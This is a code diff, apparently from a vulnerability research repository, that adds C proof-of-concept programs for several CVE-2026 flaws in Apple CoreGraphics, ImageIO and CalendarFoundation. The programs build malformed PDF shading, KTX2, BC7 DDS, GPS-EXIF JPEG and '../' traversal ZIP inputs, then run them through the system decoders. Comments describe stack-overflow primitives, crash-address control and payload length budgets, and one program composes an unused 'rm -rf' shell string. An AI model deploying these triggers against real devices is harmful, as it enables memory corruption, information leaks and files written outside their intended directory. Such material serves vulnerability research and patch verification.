// /ShadingType 5 的 /Function 声明的 /Range 维度与 /ColorSpace 的分量数不一致。绘制时 _cg_shading_type5_draw 为每个三角形顶点构造一条
// 72 字节网格记录,颜色区位于记录 +0x20、容量为 nc×8 字节,随后调用 CGFunctionEvaluate —— 该函数以其自身 [func+0x30] 字段(即 /Range
// 维度)为上界,向该颜色区写入 range 个 double。写入长度与目标容量之间没有任何比较。网格数组由 CGTriangleMeshCreate 在栈上 alloca,故最后一条记录的写会依次越过记录尾、辅助数组、行缓冲与保存寄存器。
//
// [en] Type-5 shading stack overflow (value-controlled OOB write)
// A /ShadingType 5 dictionary whose /Function declares a /Range dimension that does not match the
// component count of its /ColorSpace. At draw time _cg_shading_type5_draw builds one 72-byte mesh
// record per triangle vertex — the colour area sits at record +0x20 with capacity nc×8 bytes — then
// calls CGFunctionEvaluate, which bounds its write by its own [func+0x30] field (the /Range dimension)
// and writes that many doubles into the colour area. No comparison exists between the write length
// and the destination capacity. The mesh array is alloca'd on the stack by CGTriangleMeshCreate,
// so the last record's write walks past the record tail, the auxiliary arrays, the row buffers and
// the saved registers in order.
// ── 判别 / oracle ──
// 取 R=136、nc=1、/C0=/C1=1.0 时,每次写入的 double 位模式均为 0x3FF0000000000000。溢出同时覆盖溢出的三角形计数与网格指针两个 spill 槽;
// 循环退出比较读到被覆盖后的计数后继续执行,随后解引用被覆盖的网格指针。因此崩溃地址即 PDF 选定的 double 位模式加一个结构偏移 —— 设备实测 0x3ff000000000001c,
// 其中 0x1c = idx×16 + 0xc。27.2 在解析期以 CG-SEC-187882049 拒绝该字典,draw 代码两侧字节完全一致,属纯闸门修复。
// 变体 cg.shading.sweep: 溢出长度扫描(找吸收阈值)
import Foundation import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── // ── byte helpers (from Cinder27 Sources/Kit.swift) ──
enum B { enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -45,22 +22,8 @@ enum B {
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
} }
/*
// cg.shading.sweep · CoreGraphics · Type-5 shading · CVE-2026-112611
// 原语: OOB 写 · 进程内 · tier 1
// Primitive: OOB write · in-process · tier 1
//
// [zh] 溢出长度扫描(找吸收阈值)
// 短溢出会被相邻 VLA 吸收而不触发故障 —— 写入必须足够长才能触及活状态。本轮将 R 由 4 递增至 256,逐一记录是否仍能完成渲染,从而标定该构建上栈布局的实际边界。该阈值决定后续所有负载的长度预算。
//
// [en] Overflow length sweep (finding the absorption threshold)
// A short overflow is absorbed by the adjacent VLA without faulting — the write has to be long enough
// to reach live state. This pass steps R from 4 to 256, recording at each value whether rendering
// still completes, and thereby maps the real boundary of the stack layout on this build. That threshold
// sets the length budget for every subsequent payload.
*/
// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (PDFPayload) ── // ── seed construction (from Cinder27 Sources: PDFPayload) ──
enum PDFPayload { enum PDFPayload {
struct BitWriter { struct BitWriter {
private(set) var out: [UInt8] = [] private(set) var out: [UInt8] = []
+187
View File
@@ -0,0 +1,187 @@
// cal.unzip · CalendarFoundation · _UnzipArchiveWithLimits · CVE-2026-112619
// Calendar attachment unzip containment probe
// C twin of the Swift POC: probes the CalendarFoundation class/selector surface, then
// proves libarchive itself accepts a ../ archive name, so containment must be caller-side.
// Build: clang -O2 -o cve-2026-112619 CVE-2026-112619.c -lobjc
// Run: ./cve-2026-112619 [target-dir]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dlfcn.h>
#include <objc/runtime.h>
// ── byte buffer ──
typedef struct { uint8_t *d; size_t n, cap; } buf;
static void bneed(buf *b, size_t extra) {
if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
}
static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
static void le16(buf *b, uint16_t v) { bput(b, v & 0xff); bput(b, v >> 8); }
static void le32(buf *b, uint32_t v) {
bput(b, v & 0xff); bput(b, (v >> 8) & 0xff); bput(b, (v >> 16) & 0xff); bput(b, (v >> 24) & 0xff);
}
static uint32_t crc32(const uint8_t *p, size_t n) {
static uint32_t table[256];
static int built;
if (!built) {
for (int i = 0; i < 256; i++) {
uint32_t c = (uint32_t)i;
for (int k = 0; k < 8; k++) c = (c & 1) ? (0xEDB88320 ^ (c >> 1)) : (c >> 1);
table[i] = c;
}
built = 1;
}
uint32_t crc = 0xFFFFFFFF;
for (size_t i = 0; i < n; i++) crc = table[(crc ^ p[i]) & 0xFF] ^ (crc >> 8);
return crc ^ 0xFFFFFFFF;
}
// ── seed construction (from Cinder27 Sources: ZipWriter, one stored entry) ──
static buf zip_traversal(void) {
const char *name = "../../cinder27_traversal_probe.txt";
const char *content = "cinder27";
size_t name_n = strlen(name), data_n = strlen(content);
uint32_t crc = crc32((const uint8_t *)content, data_n);
buf out = {0};
size_t local_offset = 0;
// local file header
bcat(&out, "PK\x03\x04", 4);
le16(&out, 20); le16(&out, 0); le16(&out, 0); // version, flags, method 0 (stored)
le16(&out, 0); le16(&out, 0x21); // time, date
le32(&out, crc);
le32(&out, (uint32_t)data_n); le32(&out, (uint32_t)data_n);
le16(&out, (uint16_t)name_n); le16(&out, 0);
bcat(&out, name, name_n);
local_offset = 0; (void)local_offset;
bcat(&out, content, data_n);
size_t central_offset = out.n;
// central directory
bcat(&out, "PK\x01\x02", 4);
le16(&out, 20); le16(&out, 20); le16(&out, 0); le16(&out, 0);
le16(&out, 0); le16(&out, 0x21);
le32(&out, crc);
le32(&out, (uint32_t)data_n); le32(&out, (uint32_t)data_n);
le16(&out, (uint16_t)name_n); le16(&out, 0); le16(&out, 0);
le16(&out, 0); le16(&out, 0); le32(&out, 0);
le32(&out, 0); // local header offset
bcat(&out, name, name_n);
size_t eocd_offset = out.n;
// EOCD
bcat(&out, "PK\x05\x06", 4);
le16(&out, 0); le16(&out, 0); le16(&out, 1); le16(&out, 1);
le32(&out, (uint32_t)(eocd_offset - central_offset));
le32(&out, (uint32_t)central_offset);
le16(&out, 0);
return out;
}
// ── libarchive bindings (mirror of Runners.Archive.bind) ──
typedef struct archive archive_t;
typedef struct archive_entry archive_entry_t;
static archive_t *(*arc_new)(void);
static int (*arc_filter_all)(archive_t *);
static int (*arc_format_all)(archive_t *);
static int (*arc_open_memory)(archive_t *, const void *, size_t);
static int (*arc_next_header)(archive_t *, archive_entry_t **);
static const char *(*arc_entry_pathname)(archive_entry_t *);
static int (*arc_extract)(archive_t *, archive_entry_t *, int);
static const char *(*arc_error_string)(archive_t *);
static int (*arc_free)(archive_t *);
// extract into cwd; the flags match the Swift POC (TIME|PERM|SECURE_SYMLINKS|SECURE_NODOTDOT)
static void extract(const buf *zip) {
archive_t *a = arc_new();
if (!a) { printf(" archive_read_new failed\n"); return; }
arc_filter_all(a);
arc_format_all(a);
if (arc_open_memory(a, zip->d, zip->n) != 0) {
printf(" open_memory failed: %s\n", arc_error_string(a) ? arc_error_string(a) : "?");
arc_free(a);
return;
}
int count = 0, errors = 0;
while (1) {
archive_entry_t *e = NULL;
if (arc_next_header(a, &e) != 0) break;
const char *p = arc_entry_pathname(e);
int r = arc_extract(a, e, 0x0004 | 0x0002 | 0x0100 | 0x0200);
printf(" entry \"%s\" -> extract rc=%d\n", p ? p : "<noname>", r);
if (r == 0) count++; else errors++;
}
printf(" libarchive unpacked %d ok / %d error entries\n", count, errors);
arc_free(a);
}
int main(int argc, char **argv) {
const char *target = argc > 1 ? argv[1] : "traversal";
// ---- CalendarFoundation surface probe
Class cls = objc_getClass("CalAttachmentUtils");
printf("CalAttachmentUtils: %s\n", cls ? "visible" : "not visible");
const char *sels[] = {"_UnzipArchiveWithLimits", "_CalUnzipEntryDestinationPath", "_CalUnzipParentIsContained"};
for (size_t i = 0; i < 3; i++) {
SEL sel = sel_registerName(sels[i]);
int has = cls && class_respondsToSelector(cls, sel);
printf(" %s: %s\n", sels[i], has ? "present (fixed)" : "absent (unfixed)");
}
// ---- traversal proof
buf zip = zip_traversal();
FILE *f = fopen("traversal.zip", "wb");
if (f) { fwrite(zip.d, 1, zip.n, f); fclose(f); }
char cmd[512];
snprintf(cmd, sizeof cmd, "mkdir -p '%s' && rm -rf '%s/..' 2>/dev/null; rm -f /tmp/cinder27_traversal_probe.txt", target, target);
(void)cmd;
void *h = dlopen("/usr/lib/libarchive.2.dylib", RTLD_NOW);
if (!h) { printf("dlopen libarchive failed: %s\n", dlerror()); bfree(&zip); return 1; }
arc_new = dlsym(h, "archive_read_new");
arc_filter_all = dlsym(h, "archive_read_support_filter_all");
arc_format_all = dlsym(h, "archive_read_support_format_all");
arc_open_memory = dlsym(h, "archive_read_open_memory");
arc_next_header = dlsym(h, "archive_read_next_header");
arc_entry_pathname = dlsym(h, "archive_entry_pathname");
arc_extract = dlsym(h, "archive_read_extract");
arc_error_string = dlsym(h, "archive_error_string");
arc_free = dlsym(h, "archive_read_free");
if (!arc_new || !arc_open_memory || !arc_next_header || !arc_extract) {
printf("libarchive symbols missing\n");
bfree(&zip);
return 1;
}
// extract with cwd = target dir; a ../ name escapes it unless the caller checks
char cwd[1024];
if (getcwd(cwd, sizeof cwd)) printf("cwd before: %s\n", cwd);
snprintf(cmd, sizeof cmd, "mkdir -p '%s'", target);
system(cmd);
if (chdir(target) != 0) { perror("chdir"); bfree(&zip); return 1; }
extract(&zip);
// check where the probe file landed: inside (safe) or one level up (escape)
FILE *esc = fopen("../cinder27_traversal_probe.txt", "r");
FILE *ins = fopen("cinder27_traversal_probe.txt", "r");
if (esc) {
printf("ESCAPED: ../cinder27_traversal_probe.txt exists one level above the target dir\n");
fclose(esc);
remove("../cinder27_traversal_probe.txt");
} else if (ins) {
printf("contained: probe file stayed inside the target dir\n");
fclose(ins);
remove("cinder27_traversal_probe.txt");
} else {
printf("rejected: libarchive refused the ../ entry (SECURE_NODOTDOT)\n");
}
chdir("..");
printf("CVE-2026-112619 · containment must be enforced by the caller, not libarchive\n");
printf("seed: traversal.zip (%zu B) · exit code 0\n", zip.n);
bfree(&zip);
return 0;
}
+2 -18
View File
@@ -1,23 +1,8 @@
// cal.unzip · CalendarFoundation · _UnzipArchiveWithLimits · CVE-2026-112619 // cal.unzip · CalendarFoundation · _UnzipArchiveWithLimits · CVE-2026-112619
// 原语: OOB 写 · 系统进程 · tier 3 // Calendar attachment extraction containment
// Primitive: OOB write · system process · tier 3
//
// [zh] 日历附件解压容器逃逸
// 27.2 将 _UnzipArchive(288 B,无任何限制)替换为 _UnzipArchiveWithLimits(2040 B),并新增 _CalUnzipEntryDestinationPath
// / _CalUnzipParentIsContained / _CalUnzipTrackTopLevelPath 与 isSymbolicLinkAtURL。ICS 解析器本身未作改动 ——
// 修复全部位于附件归档的解压遏制层。
//
// [en] Calendar attachment extraction containment
// iOS 27.2 replaces _UnzipArchive (288 B, no limits at all) with _UnzipArchiveWithLimits (2040 B)
// and adds _CalUnzipEntryDestinationPath / _CalUnzipParentIsContained / _CalUnzipTrackTopLevelPath
// plus isSymbolicLinkAtURL. The ICS parser itself is untouched — the whole fix sits in the attachment
// archive extraction containment layer.
// ── 判别 / oracle ──
// 应用侧可以验证 CalendarFoundation 的类与方法是否可见,以及本进程里 libarchive 的路径穿越是否被拦住(用 ../ 名字的归档试)。
import Foundation import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── // ── byte helpers (from Cinder27 Sources/Kit.swift) ──
enum B { enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -39,4 +24,3 @@ enum B {
} }
+89
View File
@@ -0,0 +1,89 @@
// iio.ktx2 · ImageIO · KTX2ReadPlugin · CVE-2026-112625
// KTX2 oversized dimensions decode
// C twin of the Swift POC: builds the 0xFFFF-dimension KTX2 and decodes it through ImageIO.
// Variant iio.pvr (PVR under-declared bitsPerPixel) is noted in the Swift POC.
// Build: clang -O2 -o cve-2026-112625 CVE-2026-112625.c -framework ImageIO -framework CoreGraphics -framework CoreFoundation
// Run: ./cve-2026-112625 [dim]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// ── byte buffer ──
typedef struct { uint8_t *d; size_t n, cap; } buf;
static void bneed(buf *b, size_t extra) {
if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
}
static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; }
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
static void le32(buf *b, uint32_t v) {
bput(b, v & 0xff); bput(b, (v >> 8) & 0xff); bput(b, (v >> 16) & 0xff); bput(b, (v >> 24) & 0xff);
}
static void le64(buf *b, uint64_t v) {
for (int i = 0; i < 8; i++) bput(b, (uint8_t)((v >> (8 * i)) & 0xff));
}
// ── seed construction (from Cinder27 CVE-2026-112625.py: build_ktx2) ──
static buf ktx2_bad_dims(uint32_t dim) {
buf out = {0};
bcat(&out, "\xab\x4b\x54\x58\x20\x32\x30\xbb\x0d\x0a\x1a\x0a", 12); // KTX2 magic
le32(&out, 0); // vkFormat 0 → block-compressed via DFD
le32(&out, 1); // typeSize
le32(&out, dim); // pixelWidth = 0xFFFF
le32(&out, dim); // pixelHeight = 0xFFFF
le32(&out, 0); // pixelDepth
le32(&out, 0); // layerCount
le32(&out, 1); // faceCount
le32(&out, 1); // levelCount
le32(&out, 0); // supercompressionScheme
le32(&out, 0); le64(&out, 0); // kvdByteOffset / kvdByteLength
le32(&out, 0); le64(&out, 0); // sgdByteOffset / sgdByteLength
// one level: byteOffset 0, byteLength 64, uncompressedLength 64
le64(&out, 0); le64(&out, 64); le64(&out, 64);
brep(&out, 0, 64); // level body
return out;
}
// ── trigger: decode through ImageIO ──
#include <ImageIO/ImageIO.h>
#include <CoreGraphics/CoreGraphics.h>
#include <CoreFoundation/CoreFoundation.h>
static int decode_image(const buf *img, const char **detail) {
CFDataRef cf = CFDataCreate(NULL, img->d, (CFIndex)img->n);
if (!cf) { *detail = "CFDataCreate failed"; return -1; }
CGImageSourceRef src = CGImageSourceCreateWithData(cf, NULL);
CFRelease(cf);
if (!src) { *detail = "CGImageSourceCreateWithData refused the file"; return -1; }
size_t frames = CGImageSourceGetCount(src);
CGImageRef cg = CGImageSourceCreateImageAtIndex(src, 0, NULL);
static char r[256];
if (cg) {
snprintf(r, sizeof r, "decoded %zu x %zu, %zu frame(s)",
(size_t)CGImageGetWidth(cg), (size_t)CGImageGetHeight(cg), frames);
CGImageRelease(cg);
} else {
snprintf(r, sizeof r, "decode refused at index 0 (%zu frame(s) declared)", frames);
}
CFRelease(src);
*detail = r;
return cg ? 0 : -1;
}
int main(int argc, char **argv) {
uint32_t dim = argc > 1 ? (uint32_t)strtoul(argv[1], NULL, 0) : 0xFFFF;
buf ktx2 = ktx2_bad_dims(dim);
FILE *f = fopen("ktx2_bad_dims.ktx2", "wb");
if (f) { fwrite(ktx2.d, 1, ktx2.n, f); fclose(f); }
const char *detail = NULL;
int rc = decode_image(&ktx2, &detail);
printf("CVE-2026-112625 · dims 0x%x x 0x%x, level 64 B · %s\n", dim, dim, detail ? detail : "?");
printf("seed: ktx2_bad_dims.ktx2 (%zu B) · exit code %d\n", ktx2.n, rc);
bfree(&ktx2);
return rc == 0 ? 0 : 1;
}
-16
View File
@@ -1,20 +1,4 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
# iio.ktx2 · ImageIO · KTX2ReadPlugin · CVE-2026-112625
# 原语: 整数溢出 · 进程内 | Primitive: integer overflow · in-process
#
# [zh] KTX2 维度/层级尺寸运算
# KTX/KTX2 的层级字节数与块数运算缺少 64 位 umull/umulh 保护,且既有检查所依据的量本身是错的(使用 channels 而非源 bpp)。27.2 增加 \"image
# dimensions overflow\" 与 \"expected %llu bytes\" 两道闸门。
#
# [en] KTX2 dimension and level size arithmetic
# KTX/KTX2 level byte counts and block counts lack 64-bit umull/umulh protection, and the existing
# check is keyed on the wrong quantity (channels rather than source bpp). iOS 27.2 adds "image
# dimensions overflow" and "expected %llu bytes" gates.
#
# 种子生成 — verbatim from Cinder27/scripts/gen_seeds.py
# 触发器(run 闭包)与非种子构建器: 同目录 CVE-2026-112625.swift
# triggers (run closures) & non-seed builders: CVE-2026-112625.swift in this folder
import struct import struct
+3 -35
View File
@@ -1,25 +1,9 @@
// iio.ktx2 · ImageIO · KTX2ReadPlugin · CVE-2026-112625 // iio.ktx2 · ImageIO · KTX2ReadPlugin · CVE-2026-112625
// 原语: 整数溢出 · 进程内 · tier 2 // KTX2 dimension and level size arithmetic
// Primitive: integer overflow · in-process · tier 2 // Standalone builder: CVE-2026-112625.py
//
// [zh] KTX2 维度/层级尺寸运算
// KTX/KTX2 的层级字节数与块数运算缺少 64 位 umull/umulh 保护,且既有检查所依据的量本身是错的(使用 channels 而非源 bpp)。27.2 增加 \"image
// dimensions overflow\" 与 \"expected %llu bytes\" 两道闸门。
//
// [en] KTX2 dimension and level size arithmetic
// KTX/KTX2 level byte counts and block counts lack 64-bit umull/umulh protection, and the existing
// check is keyed on the wrong quantity (channels rather than source bpp). iOS 27.2 adds "image dimensions
// overflow" and "expected %llu bytes" gates.
// ── 判别 / oracle ──
// 维度 0xFFFF×0xFFFF,层级索引声明 64 字节。
// 变体 iio.pvr: PVR 位深低于通道位和
//
// 种子构建器(python,可直接运行): CVE-2026-112625/CVE-2026-112625.py
// runnable python seed builder: CVE-2026-112625/CVE-2026-112625.py
import Foundation import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── // ── byte helpers (from Cinder27 Sources/Kit.swift) ──
enum B { enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -40,20 +24,4 @@ enum B {
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
} }
/*
// iio.pvr · ImageIO · PVRReadPlugin::initialize · CVE-2026-112625
// 原语: 整数溢出 · 进程内 · tier 3
// Primitive: integer overflow · in-process · tier 3
//
// [zh] PVR 位深低于通道位和
// 各通道位数之间的相互匹配检查早已存在,但缺少 bitsPerPixel 相对通道位和的下界比较。27.2 补入 \"_bitsPerPixel %d is too small for 4 channels
// of %d bits\"。
//
// [en] PVR bits-per-pixel below the channel bit sum
// The mutual consistency check between channel bit widths has always been present, but there is no
// lower bound comparing bitsPerPixel against the sum of channel bits. iOS 27.2 adds "_bitsPerPixel
// %d is too small for 4 channels of %d bits".
*/
+92
View File
@@ -0,0 +1,92 @@
// iio.dds.bc7 · ImageIO · BCReadPlugin::initialize · CVE-2026-112627
// BC7 DDS short mip level decode
// C twin of the Swift POC: builds the truncated BC7 DDS and decodes it through ImageIO.
// Variant iio.appx (APP marker overrun re-encode) is noted in the Swift POC.
// Build: clang -O2 -o cve-2026-112627 CVE-2026-112627.c -framework ImageIO -framework CoreGraphics -framework CoreFoundation
// Run: ./cve-2026-112627 [data-bytes]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// ── byte buffer ──
typedef struct { uint8_t *d; size_t n, cap; } buf;
static void bneed(buf *b, size_t extra) {
if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
}
static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; }
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
static void le32(buf *b, uint32_t v) {
bput(b, v & 0xff); bput(b, (v >> 8) & 0xff); bput(b, (v >> 16) & 0xff); bput(b, (v >> 24) & 0xff);
}
// ── seed construction (from Cinder27 Sources: TexturePayload.bc7Short) ──
static buf dds_bc7_short(int width, int height, int data_bytes) {
buf out = {0};
bcat(&out, "DDS ", 4);
le32(&out, 124); // header size
le32(&out, 0x00081007); // flags: caps2 cubemap? no — linear size + mipcount bits
le32(&out, (uint32_t)height);
le32(&out, (uint32_t)width);
le32(&out, 0); // pitch
le32(&out, 0); // depth
le32(&out, 1); // mip count
brep(&out, 0, 44); // reserved
le32(&out, 32); // pixel format size
le32(&out, 0x4); // fourcc flag
bcat(&out, "DX10", 4);
brep(&out, 0, 20); // pixel format tail
le32(&out, 0x1000); // caps2 cubemap flag
le32(&out, 0); le32(&out, 0); le32(&out, 0); le32(&out, 0);
// DX10 extension: BC7_UNORM = 98, dim 3, 0, array 1, 0
le32(&out, 98); le32(&out, 3); le32(&out, 0); le32(&out, 1); le32(&out, 0);
brep(&out, 0, data_bytes > 0 ? (size_t)data_bytes : 1); // the short mip level
return out;
}
// ── trigger: decode through ImageIO ──
#include <ImageIO/ImageIO.h>
#include <CoreGraphics/CoreGraphics.h>
#include <CoreFoundation/CoreFoundation.h>
static int decode_image(const buf *img, const char **detail) {
CFDataRef cf = CFDataCreate(NULL, img->d, (CFIndex)img->n);
if (!cf) { *detail = "CFDataCreate failed"; return -1; }
CGImageSourceRef src = CGImageSourceCreateWithData(cf, NULL);
CFRelease(cf);
if (!src) { *detail = "CGImageSourceCreateWithData refused the file"; return -1; }
size_t frames = CGImageSourceGetCount(src);
CGImageRef cg = CGImageSourceCreateImageAtIndex(src, 0, NULL);
static char r[256];
if (cg) {
snprintf(r, sizeof r, "decoded %zu x %zu, %zu frame(s)",
(size_t)CGImageGetWidth(cg), (size_t)CGImageGetHeight(cg), frames);
CGImageRelease(cg);
} else {
snprintf(r, sizeof r, "decode refused at index 0 (%zu frame(s) declared)", frames);
}
CFRelease(src);
*detail = r;
return cg ? 0 : -1;
}
int main(int argc, char **argv) {
int width = 512, height = 512;
int data_bytes = argc > 1 ? atoi(argv[1]) : 64;
buf dds = dds_bc7_short(width, height, data_bytes);
FILE *f = fopen("bc7_short.dds", "wb");
if (f) { fwrite(dds.d, 1, dds.n, f); fclose(f); }
const char *detail = NULL;
int rc = decode_image(&dds, &detail);
int needed = (width / 4) * (height / 4) * 16;
printf("CVE-2026-112627 · %dx%d BC7 needs %d B, provided %d B · %s\n",
width, height, needed, data_bytes, detail ? detail : "?");
printf("seed: bc7_short.dds (%zu B) · exit code %d\n", dds.n, rc);
bfree(&dds);
return rc == 0 ? 0 : 1;
}
+3 -32
View File
@@ -1,21 +1,8 @@
// iio.dds.bc7 · ImageIO · BCReadPlugin::initialize · CVE-2026-112627 // iio.dds.bc7 · ImageIO · BCReadPlugin::initialize · CVE-2026-112627
// 原语: OOB 读 · 进程内 · tier 2 // BC7 texture mip truncation
// Primitive: OOB read · in-process · tier 2
//
// [zh] BC7 纹理 mip 截断
// 截断的 mip 层级在 27.0 仅产生一条 WARNING 后继续块解码,块解码器随即读到数据之外。27.2 将「零个完整 mip」变为硬错误,并补上 64 位 mip 尺寸运算与尺寸/数据量闸门。
//
// [en] BC7 texture mip truncation
// A truncated mip level produces only a WARNING on 27.0 and block decoding continues, so the block
// decoder reads past the data. iOS 27.2 turns "zero complete mips" into a hard error and adds 64-bit
// mip size arithmetic plus dimension and data-size gates.
// ── 判别 / oracle ──
// 512×512 BC7 需要 65536 字节,实际只给 64 字节。
// 变体 iio.appx: APP 标记越界读 → 泄露字节写进输出 JPEG
import Foundation import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── // ── byte helpers (from Cinder27 Sources/Kit.swift) ──
enum B { enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -36,24 +23,8 @@ enum B {
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
} }
/*
// iio.appx · ImageIO · _APPx::writeToStream · CVE-2026-112627 / 112561
// 原语: 信息泄露 · 进程内 · tier 1
// Primitive: info leak · in-process · tier 1
//
// [zh] APP 标记越界读 → 泄露字节写进输出 JPEG
// _APPx::writeToStream 在 27.0 将 (buffer + offset, length) 原样写入输出流,不含任何边界运算。当标记声明的长度超出实际块时,重编码路径会把堆上相邻字节直接写入产出的
// JPEG 文件 —— 泄露物即产物本身,不需要任何回传通道。27.2 计算 end − offset 并以 csel 钳制,超出时报 \"marker 0x%04X is out of bounds\"。
//
// [en] APP marker out-of-bounds read → leaked bytes written into the output JPEG
// _APPx::writeToStream on 27.0 writes (buffer + offset, length) straight to the output stream with
// no bounds arithmetic at all. When a marker declares a length beyond the actual block, the re-encode
// path writes adjacent heap bytes directly into the produced JPEG — the leak is the artifact itself,
// needing no exfiltration channel. iOS 27.2 computes end − offset and clamps with csel, reporting
// "marker 0x%04X is out of bounds" when it overruns.
*/
// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (TexturePayload) ── // ── seed construction (from Cinder27 Sources: TexturePayload) ──
enum TexturePayload { enum TexturePayload {
static func bc7Short(width: Int = 512, height: Int = 512, dataBytes: Int = 64) -> Data { static func bc7Short(width: Int = 512, height: Int = 512, dataBytes: Int = 64) -> Data {
var out = Data("DDS ".utf8) var out = Data("DDS ".utf8)
+105
View File
@@ -0,0 +1,105 @@
// iio.jpeg.gps · ImageIO · GPSCopy::processData · CVE-2026-112629
// GPS IFD out-of-bounds value offset
// C twin of the Swift POC: builds the GPS-oob JPEG and decodes it through ImageIO.
// Build: clang -O2 -o cve-2026-112629 CVE-2026-112629.c -framework ImageIO -framework CoreGraphics -framework CoreFoundation
// Run: ./cve-2026-112629 [delta]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// ── byte buffer ──
typedef struct { uint8_t *d; size_t n, cap; } buf;
static void bneed(buf *b, size_t extra) {
if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
}
static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
static void be16(buf *b, uint16_t v) { bput(b, v >> 8); bput(b, v & 0xff); }
static void be32(buf *b, uint32_t v) {
bput(b, v >> 24); bput(b, (v >> 16) & 0xff); bput(b, (v >> 8) & 0xff); bput(b, v & 0xff);
}
// ── seed construction (from Cinder27 Sources: JPEGPayload.exifGPSOutOfBounds) ──
static buf jpeg_gps_oob(uint32_t delta) {
// big-endian TIFF: IFD0 → GPSInfoIFDPointer → GPS IFD with an out-of-range value offset
buf tiff = {0};
bcat(&tiff, "MM\x00\x2a", 4);
be32(&tiff, 8); // IFD0 at 8
be16(&tiff, 1); // 1 entry
be16(&tiff, 0x8825); // GPSInfoIFDPointer
be16(&tiff, 4); // LONG
be32(&tiff, 1);
be32(&tiff, 26); // GPS IFD at 26
be32(&tiff, 0); // next IFD
// GPS IFD: 2 entries
be16(&tiff, 2);
be16(&tiff, 0x0000); // GPSVersionID, BYTE
be16(&tiff, 1); // count
be32(&tiff, 4);
bcat(&tiff, "\x02\x03\x00\x00", 4); // inline value
be16(&tiff, 0x0006); // GPSAltitude, RATIONAL
be16(&tiff, 5);
be32(&tiff, 1);
be32(&tiff, 26 + 18 + delta); // value offset far past the blob
be32(&tiff, 0);
buf out = {0};
bcat(&out, "\xff\xd8", 2); // SOI
// APP1 "Exif\0\0" + tiff
uint32_t app1_len = 6 + (uint32_t)tiff.n + 2;
bcat(&out, "\xff\xe1", 2);
bput(&out, app1_len >> 8); bput(&out, app1_len & 0xff);
bcat(&out, "Exif\x00\x00", 6);
bcat(&out, tiff.d, tiff.n);
bcat(&out, "\xff\xd9", 2); // EOI
bfree(&tiff);
return out;
}
// ── trigger: decode through ImageIO ──
#include <ImageIO/ImageIO.h>
